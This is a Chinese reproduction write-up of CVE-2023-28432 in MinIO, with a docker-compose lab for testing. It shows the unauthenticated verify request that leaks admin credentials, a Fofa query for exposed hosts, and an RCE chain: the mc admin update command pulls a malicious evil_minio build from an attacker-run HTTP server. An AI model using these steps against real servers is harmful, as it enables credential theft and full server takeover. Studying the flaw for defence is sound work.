CVE-2023-28432 MiniO信息泄露漏洞复现

这篇具有很好参考价值的文章主要介绍了CVE-2023-28432 MiniO信息泄露漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

CVE-2023-28432 MiniO信息泄露漏洞

MiniO 是一个基于 Apache License v2.0 开源协议的对象存储服务。它兼容亚马逊 S3 云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等

在集群部署的 Minio 中,未授权的攻击者可发送恶意的 HTTP 请求来获取 Minio 环境变量中的敏感信息(MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD),可能导致攻击者以管理员权限登录 Minio,分布式部署的所有用户都会受到影响,单机用户没有影响

Fofa:title="MinIO Browser" || banner="MinIO" || header="MinIO"

影响版本:RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z,browser 登陆页面如下

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.69.81:9000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
curl -XPOST http://192.168.186.148:9003/minio/bootstrap/v1/verify

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

从信息泄漏到RCE复现

MinIO 提供了一个非常方便的功能,可以通过 mc「MinIO客户端」进行服务器管理,通过第一步获取到管理员账号密码之后使用 mc 进行服务器升级,原理可以看这篇文章:MinIO从信息泄漏到RCE复现

首先通过 mc 连接远程的 MinIO 服务器

linux 安装 mc 命令
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x ./mc

连接命令
./mc alias set myminio http://192.168.31.8:9000 minioadmin miniopassword

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

在执行升级命令后,默认会从官方服务器下载最新版进行升级,关键在于升级地址是可以自定义的,企业如果是内网环境可以指定自己的更新地址以便于升级

整个更新流程:验证管理员权限→获取最新版本→获取最新版本的 sha256sum 信息→下载并验证 sha256sum →验证无误后替换自身并重启,虽然sha256 我们不可控,但是用于验证的 sha256sum 文件是我们可控的,跟进相关代码可以发现,envMinisignPubKe 默认为空,导致签名校验失效,所以我们可以构造恶意升级包,最终形成RCE

恶意升级包下载地址:https://github.com/AbelChe/evil_minio,使用以下命令去生成升级所需文件,下载包会比较多需要一个良好的网络环境

evil_minio-main % CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath && mv minio minio.RELEASE.2023-03-22T06-36-24Z && shasum -a 256 minio.RELEASE.2023-03-22T06-36-24Z > minio.RELEASE.2023-03-22T06-36-24Z.sha256sum

在生成文件目录下使用 python 启动一个简易 http 服务器,确保可以远程访问

python3 -m http.server

使用以下命令去升级 minio

mc admin update myminio http://192.168.186.1:8000/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum -y

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

升级过程中会去访问 web 服务下载升级包,可以看到访问了两次,第一次访问 sum 文件,第二次访问升级文件

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

构造恶意的更新指令后提示正常更新,并且执行了我们提供的恶意程序,但是替换了恶意程序之后,原本的MinIO服务会中断,所以想要无损利用需要考虑基于源程序进行魔改,并且这个漏洞的利用与部署方式无关,只要获取到了管理员账号密码就能实现恶意升级

升级成功后可以执行任意命令

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

可能会遇到的问题

  1. [not our bug] Unexpected client ‘admin’ API version found ‘v3’, expected ‘v2’, please downgrade the client to older releases

    minio 版本太低无法,mc 版本太高

  2. 使用 mc update升级过程中提示「缺失minisig文件」

    CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全

    原因:docker启动的环境,docker环境在默认情况下存在MINIO_UPDATE_MINISIGN_PUBKEY 环境变量

    解决方法:docker环境在默认情况下是无法RCE的,需要清除这个环境变量,比如在docker-compose.yml中加入

      environment:
        MINIO_UPDATE_MINISIGN_PUBKEY: 
    

    在没有该值的漏洞版本的情况下,可以绕过完整性检查,也就不会请求.minisig文件

参考

  • CVE-2023-28432 Minio信息泄露导致RCE
  • MinIO从信息泄漏到RCE复现

docker-compose

version: '3.7'

# starts 4 docker containers running minio server instances. Each
# minio server's web interface will be accessible on the host at port
# 9001 through 9004.
services:
  minio1:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio1
    volumes:
      - data1-1:/data1
      - data1-2:/data2
    ports:
      - "9001:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio2:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio2
    volumes:
      - data2-1:/data1
      - data2-2:/data2
    ports:
      - "9002:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

  minio3:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio3
    volumes:
      - data3-1:/data1
      - data3-2:/data2
    ports:
      - "9003:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3    

  minio4:
    image: minio/minio:RELEASE.2022-10-20T00-55-09Z
    container_name: minio4
    volumes:
      - data4-1:/data1
      - data4-2:/data2
    ports:
      - "9004:9000"
    environment:
      MINIO_ACCESS_KEY: admin  
      MINIO_SECRET_KEY: admin123
      MINIO_UPDATE_MINISIGN_PUBKEY:
    command: server http://minio{1...4}/data{1...2}
    volumes:
      - /docker/minio/data:/data             
      - /docker/minio/config:/root/.minio/    
    privileged: true
    restart: always
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
      interval: 30s
      timeout: 20s
      retries: 3

## By default this config uses default local driver,
## For custom volumes replace with volume driver configuration.
volumes:
  data1-1:
  data1-2:
  data2-1:
  data2-2:
  data3-1:
  data3-2:
  data4-1:
  data4-2:

CVE-2023-28432 MiniO信息泄露漏洞复现,# 漏洞复现,网络安全文章来源地址https://www.toymoban.com/news/detail-654901.html

到了这里,关于CVE-2023-28432 MiniO信息泄露漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Goby漏洞更新 | MinIO verify 接口敏感信息泄露漏洞(CVE-2023-28432)

    Goby预置了最具攻击效果的漏洞引擎,覆盖Weblogic,Tomcat等最严重漏洞。每天从互联网(如CVE)会产生大量的漏洞信息,我们筛选了会被用于真实攻击的漏洞进行每日更新。Goby也提供了可以自定义的漏洞检查框架,发动了互联网的大量安全从业者贡献POC,保证持续的应急响应能

    2024年02月15日
    浏览(35)
  • MinIO 环境变量泄漏漏洞(CVE-2023-28432)

    MinIO 是一个开源的对象存储服务器。 MinIO RELEASE.2023-03-20T20-16-18Z之前版本中的 bootstrap-peer-server.go#VerifyHandler 方法存在敏感信息泄漏漏洞,攻击者可向集群部署中的 MinIO 服务器的 /minio/bootstrap/v1/verify API发送POST请求,从而获取到 MINIO_SECRET_KEY 和 MINIO_ROOT_PASSWORD 等所有环境变量信

    2023年04月26日
    浏览(28)
  • Apache Tomcat 信息泄露漏洞CVE-2023-28708处理

    Apache Tomcat软件是Jakarta Servlet、 Jakarta Server Pages、 Jakarta Expression Language、 Jakarta WebSocket、 Jakarta Annotations和 Jakarta Authentication 规范的开源实现 。Apache Tomcat实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和

    2024年02月16日
    浏览(29)
  • Apache Tomcat 最新信息泄露漏洞CVE-2023-28708详情及解决方案,springboot版本的对应的内嵌tomcat版本查看,tomcat相关。

    CVE - CVE-2023-28708 (mitre.org) NVD - CVE-2023-28708 (nist.gov) CVE-2023-28708 site:tomcat.apache.org - Google Search 当将 RemoteIpFilter 与通过 HTTP 从反向代理接收的请求一起使用时,包括设置为 https 的 X-Forwarded-Proto 标头,由 Apache Tomcat 11.0.0-M1 到 11.0.0.-M2、10.1.0-M1 到 10.1.5、9.0.0-M1 到 9.0.71 和 8.5.0 到 8

    2024年02月13日
    浏览(28)
  • ICMP“EtherLeak”信息泄露漏洞(CVE-2017-2304) ICMP“EtherLeak”信息泄露漏洞(CVE-2021-3031)漏洞解决办法

    ICMP“EtherLeak”信息泄露漏洞(CVE-2017-2304) ICMP“EtherLeak”信息泄露漏洞(CVE-2021-3031) 漏洞解决办法            

    2024年02月12日
    浏览(36)
  • 【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的

    2024年02月08日
    浏览(40)
  • 【网络安全】CVE漏洞分析以及复现

    漏洞详情 Shiro 在路径控制的时候,未能对传入的 url 编码进行 decode 解码,导致攻击者可以绕过过滤器,访问被过滤的路径。 漏洞影响版本 Shiro 1.0.0-incubating 对应 Maven Repo 里面也有 【一一帮助安全学习,所有资源获取一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全

    2024年02月06日
    浏览(34)
  • 漏洞修复---SSL/TLS协议信息泄露漏洞(CVE-2016-2183)

    1.查看当前openssl版本       我线上版本是   OpenSSL 1.0.2k-fips 26 Jan 2017  官网下载最新版本 【当前我下载的版本为 openssl-1.1.1q】 2.将压缩包上传到linux服务器     tar -zxvf openssl-1.1.1q.tar.gz 3.编译安装 4. 移除老版本openssl 5. 查看版本 openssl version 报错    openssl: error while loadi

    2024年02月16日
    浏览(40)
  • 解决漏洞:SSL/TLS协议信息泄露漏洞(CVE-2016-2183)

    错误详情: 解决方案  win2012R2解决办法 参考链接:Browse code samples | Microsoft Learn 下载该ps1的文件。 下载该ps1的文件。 首先运行PowerShell后去文件夹中运行,或者直接输入 D:Solve-Sweet32.ps1 即可 参考链接  SSL/TLS协议信息泄露漏洞(CVE-2016-2183)解决办法(WindowsServer2012r2 3389端口 )

    2024年02月12日
    浏览(37)
  • 【漏洞复现】大华智慧园区综合管理平台信息泄露漏洞

            大华智慧园区综合管理平台是一款综合管理平台,具备园区运营、资源调配和智能服务等功能。该平台旨在协助优化园区资源分配,满足多元化的管理需求,同时通过提供智能服务,增强使用体验。         大华智慧园区综合管理平台存在信息泄露漏洞,攻击

    2024年02月22日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包